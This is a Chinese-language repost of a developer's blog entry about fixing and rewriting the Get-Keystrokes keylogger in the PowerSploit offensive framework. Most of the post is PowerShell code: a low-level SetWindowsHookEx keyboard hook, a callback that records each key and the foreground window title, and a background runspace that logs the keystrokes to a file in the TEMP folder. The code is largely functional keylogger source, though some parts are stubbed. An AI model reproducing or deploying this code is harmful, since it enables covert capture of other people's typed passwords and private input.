最近终于有机会为我经常借鉴学习的项目 PowerSploit 做出了贡献。
在2015年圣诞节后,当我正在匆匆的浏览并准备删除邮件时,我发现了一个关于键盘记录器的问题。 Coldalfred 写到“当我默认或者以参数 -PollingInterval 100或10000或40 执行 PowerShell时,PowerShell 的进程都会消耗大量的 CPU 资源,请问这正常吗?”。正好我有些闲时,于是决定好好研究并着手解决这个问题。
我已经验证了 Coldalfred 提到的这个问题,原来是 PollingInterval 参数没能够被成功的传递给初始化程序。这个参数通过设置休眠来调节检查键盘的循环。当输入为一个空值时,PowerShell Start-Sleep 命令行会抛出一个“non-terminating”的错误,但是鉴于这个特殊的实例是作为后台作业被执行的,当出错时它不会被显示出来。除了被掩盖的这个问题,使用这些作业也会消耗大量的内存资源。我的最初目标就是修复 PollingInterval 参数并移除运行空间的后台作业。下面是一段说明情况的代码段 InitializationRoutine.ps1 :
$Initilizer = { function KeyLog { # Win32 Imports Start-Sleep -Milliseconds $PollingInterval # Excessive GetAsyncKeyState loop to check for pressed keys }}Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null
现在,项目的 创建者 已经关闭了 Coldalfred 的问题“SetWindowsHookEx 也许是一个更好的键盘记录器,但是它需要在硬盘上放置一个 DLL 文件”。使用 SetWindowsHookEx 的好处在于,你可以同时钩住所有桌面上的进程并确保监听到所有的键盘信息,而不是通过 GetAsyncKeystate 循环检测每一个键的状态这样会遗漏一些记录。我对这种方法做了些研究,并发现了 Hans Passant 提出的一个 不错的观点 。Hans 解释有两种类型钩子是需不要 DLL 文件的,其中一个就是低级键盘信息。这类钩子关键在于设置完钩子后使用循环检测队列中的消息。函数 PeekMessage 可用于检查队列并设置过滤程序接收的键盘消息(0×100,0×109) HookMessageLoop.ps1 :
# Set WM_KEYBOARD_LL hook$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)$Stopwatch = [Diagnostics.Stopwatch]::StartNew()# Message loopwhile ($true) { if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break } $PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0) Start-Sleep -Milliseconds 10}
虽然 PowerShell 和 C# 都运行在 .NET 框架之上并且都可以操作 Windows API,但是让PowerShell 完成 C# 的工作还是需要一些智慧的。SetWindowsHookEx 依赖于应用定义的 LowLevelKeyboardProc 回调函数来处理键盘消息的。幸运的是我曾在网上看过如何在 PowerShell 中调用这些回调函数,并最终成功将其实现了。如下所示 ScriptblockCallback.ps1 :
# Define callback$CallbackScript = { Param ( [Int32]$Code, [IntPtr]$wParam, [IntPtr]$lParam ) $MsgType = $wParam.ToInt32() # Process WM_KEYDOWN & WM_SYSKEYDOWN messages if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) { # Get handle to foreground window $hWindow = $GetForegroundWindow.Invoke() # Read virtual-key from buffer $vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam) # Parse virtual-key if ($vKey -gt 64 -and $vKey -lt 91) { Alphabet characters } elseif ($vKey -ge 96 -and $vKey -le 111) { Number pad characters } elseif (($vKey -ge 48 -and $vKey -le 57) -or ` ($vKey -ge 186 -and $vKey -le 192) -or ` ($vKey -ge 219 -and $vKey -le 222)) { Shiftable characters } else { Special Keys } # Get foreground window's title $Title = New-Object Text.Stringbuilder 256 $GetWindowText.Invoke($hWindow, $Title, $Title.Capacity) # Define object properties $Props = @{ Key = $Key Time = [DateTime]::Now Window = $Title.ToString() } New-Object psobject -Property $Props } # Call next hook or keys won't get passed to intended destination return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam)}# Cast scriptblock as LowLevelKeyboardProc callback$Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])$Callback = $CallbackScript -as $Delegate# Set WM_KEYBOARD_LL hook$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)
剩下的工作就是将它们打包放入一个单独的运行空间中执行就行了 KeyLoggerRunspace.ps1 :
function Get-Keystrokes { [CmdletBinding()] Param ( [Parameter(Position = 0)] [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})] [String]$LogPath = "$($env:TEMP)/key.log", [Parameter(Position = 1)] [Double]$Timeout, [Parameter()] [Switch]$PassThru ) $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath) try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode } catch { throw $_ } $Script = { Param ( [Parameter(Position = 0)] [String]$LogPath, [Parameter(Position = 1)] [Double]$Timeout ) # function local:Get-DelegateType # function local:Get-ProcAddress # Imports # $CallbackScript # Cast scriptblock as LowLevelKeyboardProc callback # Get handle to PowerShell for hook # Set WM_KEYBOARD_LL hook # Message loop # Remove the hook $UnhookWindowsHookEx.Invoke($Hook) } # Setup KeyLogger's runspace $PowerShell = [PowerShell]::Create() [void]$PowerShell.AddScript($Script) [void]$PowerShell.AddArgument($LogPath) if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) } # Start KeyLogger [void]$PowerShell.BeginInvoke() if ($PassThru.IsPresent) { return $PowerShell }}
完整的源码可以在 Github 上面找到。
*原文地址: [patch-tuesday] ,FB小编xiaix编译,转自须注明来自FreeBuf黑客与极客(FreeBuf.COM)